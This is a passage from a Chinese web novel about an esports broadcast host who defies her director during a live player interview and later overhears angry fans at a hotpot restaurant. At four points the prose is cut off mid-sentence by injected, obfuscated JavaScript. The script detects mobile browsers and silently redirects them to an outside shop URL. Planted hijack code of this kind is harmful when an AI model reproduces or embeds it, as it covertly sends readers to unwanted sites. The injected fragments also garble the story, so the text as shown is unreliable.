但尽管如此,他们还是靠着最后一波奇迹团战跌跌撞撞赢下了第二局。 这一把的MVP投得格外艰难,用弹幕的话来说: 【不如投给看这场比赛的我吧,就当是给我的精神补偿。】 连昼觉得好笑,可也隐隐感觉到了琪文所说的“有点怪”。 她从屏幕里看见第三把IR几人陆续上场落座,脸上的表情一个比一个深沉,连话痨打野都没怎么开过口。 很难说是意料之中还是意料之外,接下来的第三把、第四把,她们朦朦胧胧的奇怪预感变成了现实。 TNG连胜两局,把比分追平到2-2。 连昼刷了一下微博,不出所料,热搜早已沸腾。 #TNG让二追二 #IR上野配合失误 #IR状态 #Serein状态 相关话题一个接着一个。 时间来到晚间十点半,决胜局的战歌铿锵响起,现场观众越夜越激情,这场普通的季后赛此时气氛爆炸得活像全球总决赛。 解说席上思齐激动得根本拦不住,声音都比平时高了好几个度:“欢迎回来!现在即将开始的是夏季季后赛IR对战阳城TNG决胜局,哪支战队会在今晚晋级决赛、拿下全球巅峰赛的首张门票?让我们即刻进入bp环节!” 可能是被现场的氛围感染到了,连昼也有些坐不住,起身倒了杯冷水灌下。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13545572|142548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >琪文兴奋得双手握拳:“好久没有这么刺激过了!” 连昼扯了扯嘴角,精准拆穿:“你是想看IR输吧?” “别胡说。”琪文赶紧朝她做出噤声的手势,嗓音压到只有彼此能听见,“谁不想看点节目效果……电竞比赛,跌宕起伏才精彩嘛。” 换作几天前的连昼也许会跟琪文一样暗中期待IR输,如她所言,谁不想看到本无悬念的剧本出现反转呢。 可现在她的立场好像不受自己控制了。 各大论坛已经吵得不可开交,第二把结束后IR几人为什么一反常态,第三局上单Yuan被单杀提款4次,第四把辅助开团却没有人跟…… IR真的会输吗?他们粉丝向来过分张扬踩天踩地,如果今天真的输在联赛四强战,舆论一定会…… 手中纸杯扁了又方,展了又折,被连昼折磨得不成杯样。 琪文听见她手里杯子窸窸窣窣的声音,观察片刻,奇怪道:“你这么紧张干什么?” “IR要是输,我和思齐就完蛋啦。”连昼信口生编,“IR粉丝说我们两个是霉笔,我怕今晚走不出这个场馆。” 琪文被逗笑:“小霉笔别担心,这把IR优势,看着应该能赢。” 决胜局双方都掏出了能拿到的最自信的阵容,对局拉扯到恶龙再次刷新,像是要给这场火热的比赛再浇点油似的,刷出了最能影响局势的神龙魂。 选手齐刷刷靠近龙坑,这波团非打不可。 IR这边Ash先手开团,Dzz控制跟上,而TNG的上单传送绕后包围IR,与打野一起冲阵反扑IR核心位的Serein。 解说台上、观众席间、休息室里,在这一瞬间同时按下了静音键。 紧接着,足以把场馆掀翻的尖叫声袭击了耳膜。 Serein一个漂亮的穿梭闪现,完美走位,反手开大洗礼对方四人,配合Monsoon极限微操扭过满地技能,双C默契反剿TNG,这波团战大获全胜。 思齐嗓子吼到沙哑,声嘶力竭的罪己诏响彻整个赛馆:“没有问题!Serein的站位没有问题!他证明了,是我的问题!” 休息室里众人笑翻,连昼也被他这波自首幽默到了,笑意堪堪浮上脸颊,然而下一秒,直播画面切到了选手席。 特写镜头里,IR五人眉头紧锁,额前刘海被汗浸得湿透,中单在这片焦灼的寂静里开口。 画面是静音的,但连昼还是清晰地认出了季明礼的口型。 他说的是:司偕,你怎么样? 她不自觉地向大屏凑近了点,想看清Serein汗湿刘海下的脸,可是特写镜头转瞬即逝,导播马上把直播切回了神谷界面,她什么也没看见。 这场对局经过刚才的一波混战,胜负基本已见分晓,剩下十分钟都是收汁时间,转折没有发生,IR顺利点掉了TNG的水晶。 结算整场对战结果,IR以3-2惊险取胜,晋级一周后的夏季决赛,同时获得了下半年全球巅峰赛的第一张门票。 前场比赛结束,选手和教练收拾好了设备稍作调整,接下来是胜队的幸运观众互动环节。 时间差不多刚好,连昼起身理了理发冠长袍,准备前往台上主持互动。 刚走出休息室,迎面就撞上了现场导演的助理。 助理来通知她采访工作临时有变。 11. 总有人要疯 “导演说观众互动让琪文姐来就行,还有台前采访,暂时都交给琪文姐,你俩换一下,昼昼去准备花絮采访,抓紧时间啊,等会就要直播!” 助理也知道自己带来的不是什么好消息,一口气说完迅速闭上了嘴。 连昼的笑容僵在脸上,她怀疑自己听错了:“什么意思?为什么?” 助理挠头:“这,我也不好说……导演只通知一定要是你主持花絮采访。” “一定要是我……” 连昼愣了愣,觉得荒诞,几乎要忍不住冷笑出声。 有什么必须是她的理由呢,不用细想也能猜到。 就为了吃到那点少爷类蝶的流量,竟然连她的台上主持首秀都要半途取消,让她专心去后台做一瓶热度催化剂。 连昼头脑里嗡嗡地腾起一股火:“导演在哪里,我——” “连昼!” 身后传来熟悉的声音,一下子把她的质问打断。 琪文刚补好妆出来,语气平和:“先别说话,服从导演安排。” 连昼攥住手卡,双唇紧抿。 琪文安抚地拍了拍她的肩膀:“怎么了,还想直播闹事啊,以后再也不上台了?” 这两句提醒像冰水一样浇灭了连昼的火气,理智重新上线,她勉强把笑勾起来,答道:“知道了,我现在去准备。” 花絮采访间在后台最左侧的角落里,与舞台也不过短短十几米的距离,却完全隔绝成了两个世界。 两大筐拍照道具摆在道具桌上,连昼随手拿起上次那个垂耳兔发箍按在头顶,旁边有个小助理上来把发箍朝耳后移开半分,给她戴上了耳返,以便她及时收到导演的指示。 连昼心情复杂。 一个十分钟左右的花絮采访而已,居然郑重至此。 花絮采访的第一个版块是让选手回应网友热评,类似于真心话大冒险的形式,带有一定危险性,采访内容是需要提前审核的,可是脚本到现在还没送过来。 连昼问小助理,小助理含糊其辞:“导演说IR粉丝的评论太多,还要挑一挑问题,等下再确定。” 就这样什么也准备不了地“准备”了十几分钟,门口人声扰动,拥挤的工作人员让出一条通行道,三四个人走了进来。 连昼隔着交错人影一眼就看见司偕的脸,不意外,只有一种早知如此的冷静。 司偕的眼神也只停留了半秒,侧着右半身很快地经过了她。 连昼想起比赛时季明礼问他的那一句“你怎么样”,不由得多看了两眼,却觉得他神态如常,没什么特别的迹象。 跟他一起来接受采访的是Dzz。经过整晚鏖战,向来张扬的下路组现在看起来都有点倦乏,进门后就径直坐到椅子上休息。 工作人员纷纷就位,小助理匆忙递上了采访脚本,连昼还没来得及打开看问题,摄影师已经在镜头后面举手示意直播开始了。 “欢迎来到《神谷轶闻》,请两位选手跟大家打个招呼吧!” 连昼把话筒递给他们,Dzz的手越过司偕接过去,举在两人中间,先后自报家门。 寒暄迅速完成,进入回应热评环节,连昼手卡上第一个热评是针对Dzz的,攻击性有点强:“网友首先要求Dzz选手今晚不许讲中文。” “为森么……”三个字刚出口就被立即禁止,Dzz一脸受伤,“???????(韩语:为什么对我这样)” 连昼对基础的韩语还有印象,自然而然地对着镜头翻译:“Dzz问大家为什么这样对他,大家可以在评论区告诉他原因。” 她话音一落,现场工作人员清一色露出了意外的表情,小助理在角落对她比赞,用口型说:昼老师高光时刻! 连耳返里都响起导演赶着路的颠簸声音:“深藏不露啊,你还会韩语。” 连昼的心情却没有被这些夸赞美化半分。 导演的“特别安排”还没现形,她心里始终像压着一块石头。 网友对Dzz的第二个要求是用韩语讲一个冷笑话,Dzz不情不愿地叽里咕噜一堆,连昼听得七七八八,基本能猜出完整意思,于是简单翻译了一下。 “吃了会死但不得不吃的东西是什么??” “年龄,因为?????(长大=吃年龄)。” 连昼看不到弹幕,但可以想象,弹幕上一定全是被冷知识突袭的问号。 不管观众能不能听懂,反正折磨Dzz的目标已达成,第一个环节就此过关。 接下来就该折磨司偕了。 所有人都心照不宣,这才是今晚鸿门宴的正餐。 避无可避,连昼翻开手卡下一页,提前扫了一眼。 不出所料,上面清清楚楚列着两个问题,两个“导演说必须由你来问”的问题。 第一个问题:常规赛那次采访之后,网上有一大波关于你的热议,网友盛赞你为下一位统治型的AD,你知道之前获得这一赞誉的选手吗? 第二个是,很多网友都评价你非常像Morpho,你觉得自己跟他有什么相似之处呢。 人在极度无语的时候真的只想笑。 采访间间安静了两秒,连昼看着手卡,脸上还挂着标准微笑,喉咙里却发不出一个音节。 耳返里传来导演的催促:“没事儿,你大胆问,这话题已经娱乐化了,不会出事的。” 娱乐化了、不会出事,所以就能毫不顾忌吗? 就要把她彻底变成流量工具人,把司偕反复推向“蝶神复刻版”的标签吗? 她迟迟没有回应,耳返里随即又响起一声“抬头”。 连昼下意识抬头看。 导演竟然亲自赶来了采访间,正在摄影师身后皱着眉打手势,提醒她快点。 “这可是直播,你搞清楚。”他低声警告。 采访已经停顿十几秒,再停下去就真成事故了,可是如果按脚本这样直白提问,那跟直播事故也没什么本质区别。 连昼掩回手卡,面色镇定地问出第一个题:“Serein选手,网友最想问你的是——有没有特别欣赏的AD选手呢?” 司偕听到问题,抬起眼,望向她,本就疏淡的表情瞬间变得更加空荡。 连昼知道他一定猜到了这个问题的用意,可她也没有办法,换种问法已然是当下能做出的最折中方案了。 她不敢跟司偕对视,躲躲闪闪把视线转开,可是一转眼就看见导演那想刀人的眼神,只好又看回了他。 除了Dzz在茫然地左顾右盼,全采访间都和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13545573|142548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她一起心知肚明地等着他踏进陷阱。 “很多。”身处绝对焦点的司偕缓慢眨了一下眼睛。 过了短暂而漫长的几秒钟,就像飞蛾扑火似的,他给出那个自投罗网的回答,“比如Morpho。” 他只说出这一个名字,精确无比。 连昼看着他从眨下就没再抬起的眼睫,忽地有种坠落三千英尺的失重感。 这是直播间想要的答案,能让导演满意、让观众喜获谈资、让她的采访得以继续。 可是不知道为什么,这个答案却把她扯入一阵背道而驰的沉闷。 按照司偕的少爷作派,明明可以不是这个答案。 耳返里的导演恩威并施:“你看,人家多配合工作,不需要你好心!下个问题别乱改了,按照脚本问。” 连昼脸上的标准笑容越来越僵,几乎就要维持不住。 脚本上第二个问题是什么,是要他亲口说出自己跟Morpho的相似之处。 这个问题一旦抛出,无论怎样回答都不安全,都只有一个结果—— 让司偕亲口承认自己像Morpho。 连昼有很清晰的预感,如果真的问出口,那么接下来一整年她都会想着今晚的采访重度失眠。 她咬了咬牙,直接无视导演的告诫,选择一错到底:“最近很多网友都觉得你和Morpho有些相似,那么你觉得你们有哪些不同呢,可以聊聊自己的独特之处吗?” 耳边传来导演恼怒的责问,连昼反手把耳返摘掉,盯着司偕寒眉冷目的侧脸,暗示他:“正好回应一下网友近期的热议。” Dzz把麦递到他唇边,他停顿很久,最后只漠然地答了一句:“没什么回应的,本来就不一样。” “本来就不一样”。 不需要任何回应,他和Morpho本来就不一样,这不是一道证明题。 这才是少爷该有的死装啊,连昼纠结整晚的心情终于明朗。 仿佛回到了思齐大喊“Serein没问题”的那一秒,她觉得深有同感,顺畅接上司偕的话:“没问题,不必回应就是最有力的回应。CGL赛区的优秀选手前赴后继,每一位都有自己的轨迹。” 她在导演的怒目瞪视里从容过渡下个环节:“感谢Serein选手和Dzz选手作客《神谷轶闻》,接下来请两位一起来合影留念吧。” 工作人员闻声而动,各自准备灯光和板子,连昼找道具组拿完拍立得回到直播里,看见小助理在镜头外招手,用嘴型提醒:“导演说,不要让选手选道具,准备好了。” 以往这个环节都是由选手自己在那一大堆搞怪饰品里选择,今天工作人员却把道具箱挪得远远的,两个选手坐在位置上,懵懂地等着道具。 连昼瞬间了然,侧脸避开镜头:“是什么,拿给我。” 小助理送上来一个很夸张的蝴蝶翅膀背饰,蓝色闪蝶的颜色。 给司偕准备蝴蝶道具,导演的心思明晃晃摆在直播镜头里,一点都不再遮掩。 连昼气得想笑。 事已至此,今晚自己和导演总要疯一个。 一种不知从何而来的凶狠占据了她的头脑。 反正导演看起来已经精神失常了,那么让他来疯吧。 12. 小狗耳朵 采访间短暂的安静里,“咔哒”一声格外清晰。 连昼在众人注视下举起蝴蝶道具,指着左上角折断的翅尖,面露懊恼:“哎,不好意思,这个翅膀被我不小心碰坏了,可以换一个吗。” 说完不等导演反应,她转头向IR两人征求意见:“你们不介意吧,这里还有很多可爱的道具,不如重新选一个?” Dzz还没搞清楚状况,自然是言听计从。 司偕却看得清清楚楚。 直播间狭窄,他们靠得很近,连昼背过镜头掰背饰的时候,他甚至能看见她咬牙使劲而微微鼓起的脸颊。 见少爷盯着自己迟迟不动,连昼就又提醒一遍:“Serein选手,你也去挑个喜欢的吧。” “你……司偕顿了顿,眼神一瞬不错地盯着她,“你帮我挑,可以吗。” 直播镜头就在面前怼着,连昼有些为难。 刚对他刮目相看没一会,怎么这人少爷作派又来了,挑个道具也要别人代劳。 退一步说,代劳也不是不行,但少爷粉丝可是出了名的敏感肌,万一随便乱选踩中粉丝的雷,岂不是给自己本不乐观的微博私信雪上加霜。 她忧中生智,果断把问题转嫁给Dzz:“那就请Dzz选手给自己的最佳拍档选一个道具吧,我们来看看下路组的默契。” Dzz对这个任务异常热衷,随便在自己头上套个小黄鸭发箍,转身就去上把道具箱翻了个遍,最后掏出一对黑色毛绒狗狗耳朵,雀跃地往司偕头上按。 司偕偏头一躲,臭脸拒绝:“我不要。” Dzz:“则个,就是,你!” 两个人你推我搡,连昼在旁边假笑解说:“原来Dzz眼中的Serein是小狗啊,大家觉得呢,是不是很合适?” “不要……” Dzz张牙舞爪,司偕全力反抗,势均力敌僵持不下,直播一度陷入混乱。 连昼怕他们再闹下去后续流程全都要耽搁,直接亲自上手,从Dzz手里拿过那对巨型狗耳,连哄带捧地凑到司偕发顶:“Serein选手就试一下吧,感觉很好看呢,特别可爱。” 司偕措手不及,推拒Dzz的双手停在半空,整个人动作涩滞,就这样讷讷地任由狗耳轻柔固定在头发两侧。 空气似乎短暂地稀薄了一下,随着连昼从眼前极快地退开,他的呼吸频率才带着余悸回归正轨。 “太合适了,特别好看。” 连昼假模假式地打量两眼,马上拿起拍立得硬cue流程:“值得留影纪念。” 她先给这对下路搭档拍了一张合照,Dzz 捏着司偕头顶狗狗耳朵,两人一张笑脸一张臭脸,画面一股纯正IR味。 “两位单独再拍一张吧。” Dzz很配合,指着自己头顶的小黄鸭对镜头露出一个可爱的wink。 连昼把第一张相片迅速处理好,举起拍立得转向司偕,却见少爷眉眼冷酷,表情生硬,实在不像自愿留影的样子。 不要紧,反正他这张脸好看就行。 被摄像猛催进度的连昼手指按下,匆忙出片,拿到手里仔细一看才发现任务好像并没有成功。 偏偏就在定格的那一秒,司偕眼眸半抬半掩,唇角将扬未扬,掠出一点不够生动的笑意,好像一幅油画画到一半,有种未完成的缺失感。 把这张相片放在官博抽奖的话,IR粉丝一定会狠狠差评…… 连昼迟疑了一下,喊住他:“Serein选手再拍一张吧,自然一点就好。” 司偕眉眼微微一蹙:“不好看?” 连昼担心他又要不高兴,赶紧找补:“你怎么可能不好看!” 她的语气无比诚恳,“不过我觉得你自然流露的状态更帅,我们拍张最帅的。” 司偕这才闭嘴,配合地对着镜头奉送出经典冷脸。 “OK啦。” 快门键按下,今晚惊心动魄的花絮采访总算完成。 摄影师按停了机器,采访间里哀嚎声此起彼,疲惫大叫终于下班了。 IR经理尼克来接下路组二人,在门口撞见连昼,热情打招呼:“感谢昼昼老师照顾啊,要不要跟我们一起去吃夜宵?” Dzz一旁帮腔:“对,一起,吃火沟哇。” “不了……”连昼惴惴地向角落瞄了一眼,“我还有事。” 尼克有些遗憾:“那下次再一起吧。” 连昼回到采访间里,让小助理把相片拿去发博抽奖,手里还余下司偕那张笑到一半的废片,她想了想,随手放进了袖子。 好像怎么处理都不合适,还是先留着吧。 收拾好所有东西,连昼深吸一口气,走到导演跟前。 角落里导演不发一语,脸色铁青地看着她。 凌晨十二点半。 所有赛后工作做好收尾,后台显示屏上接通苏西的视频通话,屏幕两侧一边坐着现场导演,一边坐着连昼,远处沙发里还窝着琪文。 这是一场标准的三堂会审。 导演已经懒得理连昼,对着苏西一顿怒火:“你看看,你亲自推荐的人才,直播都敢我行我素!” 苏西深夜被扰,语气倒还算平和:“连昼,你自己解释清楚。” 三堂会审的架势虽然肃穆,但连昼好歹也是打过无数场辩论的最佳辩手,深谙气壮等于理直的心理战技巧。 她淡定回答:“我确实擅自修改了提问,可是采访并没有偏离我们的预设,还是紧扣着少爷类蝶的主题对吧,导演,你要的效果是不是都达到了?” “采访的那两个问题,如果我按照原先的问法,Serein是不是也会给出一模一样的答案?” 导演怒眉紧锁,力道很重地翻了一下脚本,没吭声。 连昼心知他的思路已经被自己带偏,赶紧乘胜追击:“所以我觉得今晚采访没有实质上的失误,其实全程节奏都在把控之中。” 她说得太理直气壮,导演觉得有点不可思议,张了张口,似乎想说什么,又说不上来。 苏西却没那么好糊弄,一阵见血把思路拉回辩论起始点:“既然结果都一样,那你为什么要擅自修改?” “其实我当时是想起了导演彩排时说的话。” 连昼稳如泰山,信念感拉到最满,顺口把导演本人也拖下水,“万事都是双刃剑,这可是导演在比赛前亲口教我的。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13545574|142548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >导演一拍桌子:“我是这个意思吗?” “话题度也是双刃剑啊。” 连昼继续狡辩,“我们是需要热度,但是过犹不及,前段时间少爷类蝶的讨论度已达饱和,再炒冷饭只会让观众觉得腻味,那样反而弄巧成拙。” “所以我让Serein说明跟morpho的不同之处,纯粹是想为这个话题提供点新鲜感,导演你想啊,话题热度围绕新方向还能再发酵一轮,对不对?” 导演哽住:“……” 连昼根本停不下来:“而且,让Serein自己说出Morpho和我们问出Morpho,不一样的啊,IR粉丝动手的力度会轻很多!” 说着目光灼灼看向导演,“你也不想被追着骂吧,IR还有一周才决赛,粉丝这几天时间很富余的。” 最后,她结辩陈词:“我承认在采访中自作主张,但当时情势紧急,没办法及时跟导演沟通,我发誓,以后再也不会了。” 苏西托起腮,皮笑肉不笑:“你这发誓我怎么听着耳熟呢。” 连昼尴尬地眨眨眼。 导演在辩论上落于下风,反驳不过,不甘心地挑起另一个刺:“那道具怎么回事,她还擅自换掉了道具!” “啊,那个道具。”连昼立刻委屈皱眉,看起来楚楚可怜,“我真是不小心弄坏的,明天一定赔给道具组。” 导演气得舌头都捋不顺了:“你……明天……你明天不要来!” 后面一直看戏的琪文冷不丁横插一嘴:“明天没有比赛,我们都不要来,导演您最辛苦,一定要好好休息呀。” 一时间,三堂会审的对象仿若换成了导演。 导演怒气冲冲地把三个女生扫视过去,最终败于人多势众,不得已忍下了这口气:“还好今天没变成直播事故,连昼,你再有下次……” “再有下次我直接把她发配到次级联赛。” 苏西开口圆场,依旧是双方各打五十大板的经典套路,“这次她说的确实有点道理,导演你不要跟她计较了,这样吧,最后两场比赛别安排她上台了,让她长长记性。” 连昼这段时间俨然练成了道歉达人,认错流程不能更熟练,马上低头表态:“是是是,确实是我让导演为难了,什么教训都接受的。” 导演这才勉强顺了心头气,眼睛一瞪鼻子一哼,起身离开。 苏西挂掉视频之前,还是严辞警告了一句:“好好坐几天冷板凳,以后再冲动就不会这么轻易放过你了。” 连昼点头如啄米。 休息室瞬间安静下来,琪文挎起沙发里两个包:“走吧,一起回酒店。” 连昼有点愧疚:“不好意思啊琪文姐,害你陪我到这么晚。” 琪文拍拍她的发顶,笑着安慰:“徒弟犯错,师父本来就逃不掉。” 连昼被搂着走出休息室,琪文反身把各间夜灯都关了,走出场馆时夜色凉浸浸,若有似无的风声追随着她们不轻不重的步伐。 两个人都没有说话,就这样满腹心事地踩着影子走了一段路。 连昼先停了下来,影子落在自己脚下,直愣愣地拉长。 她认真地问:“琪文姐,我真的有错吗?” 13. 更心虚了 “你有没有错……” 琪文思考很久,最后没有正面回答,“我给不出你的答案。” “我工作六年,遇到过很多进退两难的时候,偶尔也会随心所欲,”她低笑了一声,“就比如刚刚帮你一起欺负导演。” 连昼跟着笑了,等她说下去。 “但是一般来说,我不会让自己犯错,因为这是我的工作,而且不止是我一个人的工作。” 连昼垂眼,手指一直叠在一起,捏得生疼:“其实我知道。只是还有点侥幸心理,希望你对我说,我没有错。” “我不可能跟你说你没错。”琪文长叹口气,“不过呢,现在我也不会说你有错。” “因为进退两难的时刻不止有工作,只有你自己知道。” 连昼的笑还挂在脸上,眼睛却不受控制地眨巴眨巴。 琪文夸张地拉高音量调笑她:“不是吧!导演还没委屈,你先委屈上了。” 一句话横刀立马,不管人死活地截杀煽情时刻,连昼哭笑不得,没头没脑地冒出一句:“琪文姐,你饿不饿啊。” 琪文摸摸肚子:“饿啊,吃什么。” “刚刚IR经理说他们夜宵吃火锅。”连昼语气酸不溜秋,“他问我去不去,其实我也很想吃。” “那走吧。” 路灯把两道影子送远,有一搭没一搭的闲聊溶进了夜风里,路上琪文定位搜索了一下,赛馆偏远,附近火锅基本十点就打烊了,只剩一家评分不高的私房店。 两人达成共识:评分再低也要吃上这口火锅。 这家店门面很显眼,红灯笼串在门口荡出满满的氛围感。 这个时间点了,店里竟然座无虚席,服务生跑进去确认了一下,刚好还剩最里面两个位置。 连昼坐在角落,放眼大堂满满当当,有点疑惑:“平时也没这么多人吧,今天怎么回事?” 琪文却司空见惯:“在这附近吃饭的基本都是来看比赛的观众,今天IR下班晚,有些人赶不上高铁,就会找个地方通宵。” 连昼闻言,马上条件反射地戴上帽子和口罩,动作流畅,一气呵成。 琪文:“……” 连昼小声解释:“这里一定有很多IR的粉丝,我可是她们的眼中钉!” 虽然今晚采访她已经尽力挽救了,但单从观众的视角看,从提问选手到拿出蝶翅道具,全程可都是由她在镜头前“贼心不死”地诱导少爷类蝶话题。 如果说之前她在少爷类蝶的混战里还只是个小打小闹的导火索,那么经过刚刚那场直播,连昼将百分百坐实“少爷类蝶领军人物”的风光宝座。 根本洗不白了,少爷粉丝嘴里的蝶粉余孽,蝶神粉丝眼中的梦女主持。 连昼悲从中来:“琪文姐,我以后出门可能得穿迷彩服。” 琪文被逗乐,捞了个虾滑丸子放进她碗里:“没事啊,我们这角落没人看见,快把口罩摘了吃饭。” 火锅店里汤滚声嚣,云飘雾绕,连昼做贼似的张望了一圈,确认没人注意这个角落才敢把口罩摘掉了半边。 琪文提起直播里采访Dzz那一段:“没想到你还会韩语啊,这个很加分的。” 连昼点点头,又摇头:“大二为了上中韩辩论综艺,学过一点皮毛,后来实习时苏西姐说以后世界赛有用,我就顺带着在复习。” “那很不错啊。” 琪文想了想,意有所指,“季后赛坐几天冷板凳没关系,你这个月抓紧时间学韩语,说不定还能用得着。” 连昼敏锐地抓住了关键词:“这个月抓紧时间?” 琪文眨了眨眼睛:“先保密。” 工作的事不方便多探问,连昼便也及时闭嘴,刚想聊点别的话题,突然就被一道闪光灯灼了一下眼睛。 是前面那桌的女生举着手机在跟朋友自拍,按下拍摄时才发现闪光灯开着。 她不好意思地回过头来道歉:“打扰了打扰了,我们不是故意的。” 连昼迅速埋下脸。 琪文客气地应付完对方,回头就看见连昼猫猫祟祟的:“怎么啦?” “嘘,她们是少爷粉丝。” 刚才电光火石一瞬间,连昼奇迹般看清了她手腕上的IR手环,还有她手机返回主页时露出的壁纸。 虽然一闪而过,但连昼还是认出来了,那是Serein的国风定妆照。 要不是她反应及时,这顿火锅怕是吃不安稳了。 琪文对她的处境表示理解,配合地压低了声音:“那我们悄悄的。” 她们音量一降低,前面那桌的交谈声就变得清晰可闻。 传过来的第一句就是:“那个垃圾主持今天真是气死我,阴魂不散,怎么IR比赛总有她啊。” 对面的朋友狠狠附和:“今晚真是恶心透了,一个劲把司偕往Morpho的话题上引导,也就欺负司偕人帅心善配合工作。” “太阴间了,上次不是还扒出她微博,她就是个蝶粉,死蝴蝶退役两年做成标本都硬了,蝶粉倒是死而不僵。” 女生一连声地问:“什么微博什么微博,我来私信骂她,不骂一百条解不了这口气。” 角落里苟且偷生的连昼:“……” 被痛骂了好一会儿,那几个粉丝才转移话题,聊回了正主身上。 “少爷到底有没有女朋友啊,上次机场拍到那个……” “那个不是辟谣了吗,就是IR的工作人员。” “可是有人说她的外套就是司偕的,以前线下偶遇司偕看见他穿过!” 连昼一边涮牛肉一边听着,越听越不对劲。 “还有,今天为什么突然搞了副耳夹,好神经啊,明明知道上台要戴耳机……说实话,我只能想到一个原因。” 话音断了一下,而后几个人异口同声:“女朋友送的!” 连昼刚把蟹籽福袋捞起来,手一抖,又滚回了红油汤里。 怎么这一桩桩一件件,都像在说自己啊…… 像是为了找出“嫂子”的存在,那几个女生开始细扒Serein以往言行的蛛丝马迹。 什么玩流星剑刃是因为有人说帅,什么随身带很久的Luckycharm,什么亲口承认过ID有故事又不肯说,还被经理爆料老在半夜发些九曲十八弯的矫情文案…… 听到这里,连昼马上摸出了手机,目标明确直奔司偕朋友圈。 “朋友仅展示最近三天的朋友圈”,空空如也,什么矫情文案都看不见。 琪文也在竖着耳朵听八卦,看见她的动作,探头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13545575|142548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来耳语:“我好想告诉她们……有秘密不能说的感觉谁懂啊……” 连昼心头一跳,不自觉地咬了下唇:“什么秘密?” “去年Serein夏季决赛拿下FMVP,当时《神谷名士录》的专访是我做的。” 琪文神神秘秘,“我问他为什么能从艰难的青训时期(青少年培训营)一路坚持下来。” 看着琪文如怀至宝的表情,连昼依稀能预感到这个回答会走向一个暧昧的方向。 她好奇起来,心里却同时产生一股平白无故的不知从何而来的退缩,怯怯地念着还是别听了吧别听了吧。 不等她细究自己因何生怯,琪文先行一步揭示答案:“他说,因为他遇见了心软的神。” “啊?”连昼没听懂,“什么神?” “我猜啊,就是遇见了一个让他坚持的人吧。”琪文夹了个牛肉丸,腮帮子鼓鼓地吹凉,字音出口时含糊不清,“可能是什么白月光之类的。” “这样啊……” 连昼低头,拿起罐装可乐,咬上吸管咕嘟咕嘟灌了两口,又问,“那他们现在在一起了吗?” “这我就不知道了。”琪文叮嘱,“专访这一段后来特意剪掉了,你记得要保密啊,不许跟任何人提。” 连昼应声:“知道了……可是为什么要剪掉?” 琪文耸耸肩:“那个时候Serein决赛高光镜头出圈,吸了一大波路人粉新玩家来玩《OG》,编导怕这一段播出去掉女粉。” “……” 可悲可泣啊,编导这为了赛事热度抛弃底线的一生。 自觉背叛编导的琪文不放心,吃几口就重复一遍这个秘密必须守口如瓶,不然她就会步上连昼后尘,成为少爷粉丝和编导共同的眼中钉。 连昼再三保证:“本人承诺,走出这个火锅店就会把这件事忘得一干二净!” 话是这样放出去了,可是回到酒店洗漱完躺下玩手机的时候,她还是忍不住打开了司偕的微信。 依旧是纯黑的头像,空白的朋友圈,停留在半个月之前的会话消息。 找不到任何蛛丝马迹。 还有什么随身很久的幸运物,ID晴空雨的故事,深夜伤感文案…… 到底是什么样的人能成为少爷的白月光呢? 她心里冒出一种抑制不住的好奇,可是答应了琪文不许提不许问,也许这个谜底永远都不会揭晓了吧。 连昼从床头翻滚到床尾,又从床尾翻到床头,手指茫无目的地戳着,最后戳开了微博,戳进了司偕的主页。 印象中一个月前司偕是清空了微博主页的,可是现在却挂着一条半小时前发布的热门博文,粉丝正蹦跶得热火朝天。 这条微博文案是两个emoji,“雨滴”和“星星”,下面附着一张自拍。 他靠在训练室电竞椅里,大概是是刚冲完澡,肤白唇艳水灵灵的,头发还没吹干,发稍坠着一点水光,将落未落地悬在宽松领口上方,好像下一秒就要掉进曲折起伏的锁骨里去了。 连昼有点心虚地把视线往上移,聚焦到少爷脸上,盯住了鼻梁那颗痣。 这颗痣静静地挂着,什么也没做,然而她盯看盯着,却有种指尖已经摸上去的温热的错觉。 更心虚了。 14. “喜欢” 心虚的连昼觉得不能再看这张自拍,调转目标,奔向评论区。 评论区依然是群英荟萃。 【积雨云:啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊】 【给司偕提鞋:前夫联合小三赶我净身出户,还带走我两套房产和三个小孩,我已做好殊死一搏的准备,重生归来准备开启复仇,司偕亲我一口解锁全文】 